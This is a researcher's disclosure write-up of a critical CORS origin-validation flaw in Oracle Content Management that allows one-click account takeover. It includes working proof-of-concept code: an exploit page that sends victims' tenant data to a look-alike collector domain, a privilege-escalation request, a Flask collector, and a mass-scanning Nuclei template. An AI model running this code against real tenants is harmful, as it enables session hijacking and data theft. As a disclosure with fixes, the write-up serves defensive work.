Oracle Content Management (CMS) - One Click Account Takeover
A CORS misconfiguration in Oracle Content Management leads to massive CSRF which can turn into one-click account takeover

Summary
Oracle Content Management (OCM/CMS) is Oracle’s cloud-based headless CMS and digital-experience platform — organisations worldwide use it to store, manage and publish content and power their websites through its REST APIs.
The finding: OCM validates CORS origins with an unescaped-dot regex, so a cheap look-alike domain is accepted with credentials. Because Oracle’s own docs told every tenant to whitelist their own hostname, a single victim click hands an attacker their authenticated session — a fleet-wide, one-click account takeover.
Vulnerability Info
| Reported by | Hesham Mahmoud Aka 0xRyuzak1 |
| Date | 20 Aug 2023 |
| Target | Oracle Content Management (CMS) — *.cec.ocp.oraclecloud.com |
| Severity | Critical |
| Class | CWE-942 (Overly Permissive CORS) · CWE-346 (Origin Validation Error) |
| Auth Required | None for the attacker — victim must have an active OCM session |
| Scope | Fleet-wide — any tenant that followed Oracle’s CORS setup documentation |
| Prerequisite | Victim opens an attacker-controlled link while authenticated to OCM |
Description
To let customers’ own web apps call those REST APIs from the browser, OCM lets tenants whitelist origins for Cross-Origin Resource Sharing. Under the hood the allowlist is enforced with a regular expression built directly from the configured origin string — and the dots in that string are never escaped. In a regex, . matches any character, so a whitelist entry of:
https://companyname.cec.ocp.oraclecloud.com
silently under the hood also authorises:
https://companyname.cecXocpYoraclecloudZcom (X, Y, Z = any character)
The trap is that Oracle’s own documentation instructs every customer to paste exactly https://<tenant>.cec.ocp.oraclecloud.com into the CORS origins box. Following the documented, “correct” configuration is precisely what makes a tenant exploitable — so the flaw is not a one-off customer mistake but a fleet-wide condition affecting essentially every OCM customer who ever enabled CORS.

Worse, OCM reflects the attacker origin together with Access-Control-Allow-Credentials: true, so the cross-origin requests carry the victim’s session cookies. A victim who merely opens a link gives the attacker authenticated read access to their Sites, Channels, Repositories and Taxonomies — and, via a PATCH on the sites API, an attacker-controlled privilege escalation into their tenant.
Root Cause — the unescaped dot
OCM matches the incoming Origin header against the configured allowlist using regex matching instead of exact string comparison. The configured value is interpolated into the pattern with its literal dots intact:
allowed = "https://companyname.cec.ocp.oraclecloud.com"
pattern = /https:\/\/companyname.cec.ocp.oraclecloud.com/ ← dots NOT escaped
Because . is the regex “any character” metacharacter, the pattern accepts far more than the intended host. Every one of these origins passes validation:
https://companyname.cec.ocp.oraclecloud.com ← intended
https://companyname.cecaocpaoraclecloudacom ← dots → 'a'
https://companyname.cec-ocp-oraclecloud-com ← dots → '-'
https://companyname.cecXocpXoraclecloudXcom ← dots → anything
The only “fixed” separator an attacker cannot alter is the first dot after the tenant label (it delimits a real DNS subdomain). Everything to the right of it collapses into a single registrable domain.
From wildcard to a domain you can actually buy
Collapse the wildcard dots and the intended host:
companyname . cec.ocp.oraclecloud.com (four dotted labels)
becomes reachable through the registrable domain:
cecaocpaoraclecloud.com (one domain to rule them all 😂 — available to register)
The attacker registers cecaocpaoraclecloud.com, creates the subdomain companyname.cecaocpaoraclecloud.com, and that FQDN matches the victim tenant’s CORS regex character-for-character. No takeover of Oracle infrastructure is required — just a ~$1 domain.

Proof of Concept
1. Confirm the reflection (Burp / curl)
Send a preflight-style request with the look-alike origin and observe the response headers:
curl -s -I -X OPTIONS \
'https://companyname.cec.ocp.oraclecloud.com/content/published/api/v1.1/items' \
-H 'Origin: https://companyname.cecaocpaoraclecloud.com'
The server reflects the malicious origin and allows credentials:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://companyname.cecaocpaoraclecloud.com
Access-Control-Allow-Credentials: true
ACAO reflecting a non-Oracle origin next to ACAC: true is the whole vulnerability in two lines: the browser will now execute credentialed cross-origin requests from the attacker’s page and hand back the responses.

2. Weaponised page — hosted on the look-alike domain
Registered cecaocpaoraclecloud.com, subdomain companyname.cecaocpaoraclecloud.com, serving:
<html>
<script>
function exfil(verb, url, headers, label, body) {
var x = new XMLHttpRequest();
x.onreadystatechange = function () {
if (this.readyState === 4 && this.status === 200) {
// ship the response to the attacker's collector, base64-encoded
new Image().src = "https://cecaocpaoraclecloud.com/collect.html?c="
+ btoa(label + " " + x.responseText);
}
};
x.withCredentials = true; // ← carries the victim's OCM cookies
x.open(verb, url);
if (headers) for (var k in headers) x.setRequestHeader(k, headers[k]);
body ? x.send(JSON.stringify(body)) : x.send();
}
var T = "https://companyname.cec.ocp.oraclecloud.com";
// Read the victim's tenant
exfil("GET", T + "/content/management/api/v1.1/channels", {"Authorization":"Session"}, "Channels:");
exfil("GET", T + "/content/management/api/v1.1/repositories", {"Authorization":"Session"}, "Repos:");
exfil("GET", T + "/content/management/api/v1.1/taxonomies", {"Authorization":"Session"}, "Taxonomies:");
exfil("GET", T + "/sites/management/api/v1/sites", "", "Sites:");
// Privilege escalation — add the attacker as a site manager (one-liner, victim-authorised)
// exfil("PATCH",
// T + "/sites/management/api/v1/sites/<SITE_ID>/members/user:attacker@evil.com",
// {"Content-Type":"application/json"}, "PrivEsc:", {"role":"manager"});
</script>
</html>
When an authenticated OCM user opens the link, the browser:
- issues each request cross-origin with
withCredentials = true; - attaches the victim’s OCM session cookies;
- passes CORS validation because the malicious origin matches the tenant’s unescaped-dot regex;
- returns the full JSON responses to the attacker’s page, which exfiltrates them to the collector.
3. Attacker collector (server.py)
A minimal HTTPS Flask endpoint decodes and stores whatever the page beacons out:
import ssl, base64
from flask import Flask, request, send_from_directory
app = Flask(__name__)
@app.route('/')
def index():
return send_from_directory('.', 'index.html')
@app.route('/collect.html')
def collect():
c = request.args.get('c')
if not c:
return 'Missing "c"\n', 400
with open('output.txt', 'ab') as f:
f.write(base64.b64decode(c) + b'\n\n')
return 'ok\n', 200
if __name__ == '__main__':
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('./server.pem')
app.run(host='0.0.0.0', port=443, ssl_context=ctx)

output.txt fills with the victim’s Sites, Channels, Taxonomies and Repositories — omitted here as the captured data is sensitive.
Measuring the blast radius at scale
Because the misconfiguration originates from Oracle’s documentation rather than any single tenant, it is reproducible across the customer base. I codified the check as a Nuclei template — the key idea is to send the origin with each dot rewritten to a benign character ({{replace(FQDN,'.','a')}}) and confirm the server still reflects it with credentials:
id: cors-misconfig
info:
name: CORS Misconfiguration
author: Hesham Mahmoud
severity: high
tags: cors,generic,misconfig
http:
- raw:
- |
OPTIONS /content/published/api/v1.1/items HTTP/1.1
Host: {{Hostname}}
Origin: {{cors_origin}}
payloads:
cors_origin:
- "https://{{replace(FQDN,'.','a')}}" # dots → 'a' to abuse the regex
- "http://{{replace(FQDN,'.','a')}}"
stop-at-first-match: true
matchers:
- type: dsl
condition: and
dsl:
- "contains(tolower(all_headers), 'access-control-allow-origin: {{cors_origin}}')"
- "contains(tolower(all_headers), 'access-control-allow-credentials: true')"
Run across OCM tenants, the template flagged thousands of vulnerable customers — each one exploitable via the same register-a-look-alike-domain technique.
![Nuclei firing `cors-misconfig:arbitrary-origin [high]` on tenant after tenant — every target hostname and origin redacted, leaving only the sheer count of hits.](/assets/img/posts/oracle-cms-cors/nuclei-scale.png)
Impact
- Authenticated data theft — Sites, Channels, Repositories and Taxonomies are read with the victim’s own session, no credentials required from the attacker.
- Privilege escalation / tenant takeover — the
PATCH .../sites/<id>/members/user:<attacker>call runs in the victim’s authenticated context, letting an attacker grant themselves amanagerrole on a target site. - Credentialed CORS —
Access-Control-Allow-Credentials: truealongside a reflected attacker origin turns a “read-only” misconfig into full session-riding. - Fleet-wide exposure — the vulnerable configuration is the documented one, so the default population of at-risk tenants is effectively “everyone who enabled CORS.”
- Low attacker cost — a single registrable look-alike domain (no Oracle-side compromise) plus a link the victim clicks.
Recommendation
- Do not build the allowlist from a regex. Compare the incoming
Originagainst configured values with exact string matching. This removes the metacharacter class entirely. - If a pattern engine must be used, escape the configured value (
\.for every literal dot) and anchor it (^...$) so it cannot match extra characters or substrings. - Never pair
Access-Control-Allow-Credentials: truewith a dynamically reflected origin unless that origin has passed strict, exact validation. - Fix the documentation. Because customers copy Oracle’s guidance verbatim, the guidance itself must produce a safe configuration — a code fix without a docs fix leaves the guidance encouraging the same mistake.
Credit
Oracle acknowledged this report and credited me — Hesham Mahmoud — in their Critical Patch Update Advisory of January 2024.